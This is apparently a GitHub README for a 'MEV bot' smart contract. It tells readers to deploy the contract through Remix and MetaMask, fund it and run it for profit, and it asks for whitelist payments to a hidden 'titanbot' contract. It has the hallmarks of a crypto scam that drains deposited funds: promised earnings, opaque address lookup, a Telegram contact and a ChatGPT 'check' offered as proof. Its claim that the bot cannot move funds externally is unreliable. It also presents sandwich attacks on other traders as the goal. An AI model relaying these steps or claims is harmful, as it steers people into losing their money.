https://github.com/clarencebyers/mevbot-pro
titanbot is the name I chose for my commercial version bot.
Initially, I contemplated making the commercial version open-source. However, eventually, I abandoned that idea. Nevertheless, I have discovered an alternative approach to enable others to distribute my commercial version without any concerns about code exposure.
this bot run with 2bnb, now at 2.1bnb , running for 2days
this one deployed on eth.
mevbotpro can interact with titanbot for free up to three times. If you choose not to join the whitelist, you may send at least 0.0005 ETH titanbot in order to increase the number of interactions. call GetTitanAddress function to get address of titanbot.
In order to prevent the project from being abused, I temporarily plan to use a whitelist approach to authorize the bot to interact with titan.
You can alse send 0.5ETH/3BNB to titanbot to join whitelist.
If you have sufficient reasons, I can also add your bot to the whitelist for free. contact: https://t.me/rober_rocks
Give this project a star⭐, contact me with your screenshot, I'll add your bot to the whitelist for free, just for first 10 users.
update 06.16 2023 There are 8 whitelist spots left.
I have developed a commercial version with faster transaction speed and optimized many aspects. I don't want to open source this version now, so I came up with a way to allow others to use it as well.
I extracted the core logic of the bot and created a new contract[titan bot] with the following main features:
Calculate the recommended number of runs.
Calculate the tokens to be exchanged and related data for each run.
Determine completion time and obtain data on selling tokens.
Meanwhile, I have defined a series of methods for exchanging tokens in mevbotpro. Titanbot is only used for calculation. After the calculation is completed, it will call the methods in mevbotpro to perform sandwich attacks.
You can search for the definition of the ITitanbot interface in mevbotpro.sol code for further understanding.
You can use chatgpt to check the code, here is the result:
I created a factory contract, where the _titanFacSign parameter(you can find it in mevbotpro.sol) is used to calculate the address of the factory contract. mevbotpro needs to use this factory contract to find titianbot, which will make it easier for me to upgrade titianbot in the future.
mevbotpro currently supports deployment on the eth and bnb networks. The chainid will be checked when creating a contract, and it cannot be successfully deployed on other networks.
Access the Remix IDE https://remix.ethereum.org/
Create a new file named
mevbotpro.solPaste the source code of
mevbotpro.solinto the created fileSelect compiler version 0.6.6 and click on the
Compile mevbotpro.solbutton, you can also clickctrl+sto compile the code.Open
DEPLOY & RUN TRANSACTIONSpanel, changeenvironmentoptions toinjected provider - metamask, and make sureMevbotPro - mevbotpro.solis selected, then clickdeploybutton.Copy the contract address of the bot once deployment is complete.
After the contract deployment is complete, you can interact with it through this website: https://clarencebyers.github.io/
You need to obtain the contract address and ABI of the bot. You can find the ABI here: https://github.com/clarencebyers/mevbot-pro/blob/main/mevbotpro.abi.json
Send send ETH/BNB to your bot address.
Execute
StartBotfunction and wait.Execute
StopBotfunction, this function will stop the bot and provide benefits. CallGetBalanceWeito check bot's balance, If the duration of the run is too brief or if the bot's balance is insufficient, there may be no earnings.Execute
StartBotto re-run or callWithdrawto transfer bot's balance to your wallet.
CheckInWhitelistcheck if the current bot has been added to the whitelist. If not, it can only interact with titanbot 3 times.CheckRemainingTimescheck the remaining interactive times.GetBalanceWeiget balance of the botGetOwnerget ownerGetTitanAddressif you want to join whitelist, you can use this function to gettitanbotcontract address, send at least 0.5ETH/3BNB to the address, you will be automatically added to the whitelist. you can alse send 0.0005ETH/BNB to increase your remaining interactive times as well.Destructdelete your bot, for advanced users only, not recommended for calling.StartBotstart running mevbotproStopBotstop your bot. If you want to earn profits, the minimum running time I tested is 10 minutes. Running for less than this time may not yield any profit. After the execution of this method, you can call theGetBalanceWeimethod to check the balance of the bot. If there is any profit, the balance of the bot will increase.Withdrawextract bot balance to the wallet address of bot owner.
mevbotpro has no methods to transfer funds externally, and the method for withdrawal balances restricts permission only to the owner.
My suggestion is to use a small amount of tokens for testing purposes first.
If profits can be obtained, then proceed with usage. The amount of profit is related to the running time and bot balance.
jaredfromsubway.eth has created a very powerful MEV bot that can earn millions dollars every day, but his bot also requires a large amount of ETH to operate. Inspired by him, I created my mevbot. Hoping to help some people.
